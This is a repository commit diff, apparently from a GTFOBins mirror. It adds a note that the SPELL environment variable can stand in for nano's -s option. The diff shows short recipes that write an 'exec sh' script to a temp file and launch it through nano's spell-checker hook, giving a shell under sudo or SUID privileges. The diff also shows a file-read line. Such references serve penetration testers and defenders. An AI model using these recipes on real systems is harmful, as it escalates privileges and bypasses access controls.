mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Mention the SPELL environment variable in nano
This commit is contained in:
parent
4a2aeb0ecb
commit
f6b29ce958
@ -1,7 +1,8 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'exec sh' > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
@ -15,14 +16,16 @@ functions:
|
|||||||
file-read:
|
file-read:
|
||||||
- code: nano file_to_read
|
- code: nano file_to_read
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'exec sh -p' > $TF
|
echo 'exec sh -p' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
./nano -s $TF /etc/hosts
|
./nano -s $TF /etc/hosts
|
||||||
^T
|
^T
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
|
||||||
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'exec sh' > $TF
|
echo 'exec sh' > $TF
|
||||||
chmod +x $TF
|
chmod +x $TF
|
||||||
|
Loading…
Reference in New Issue
Block a user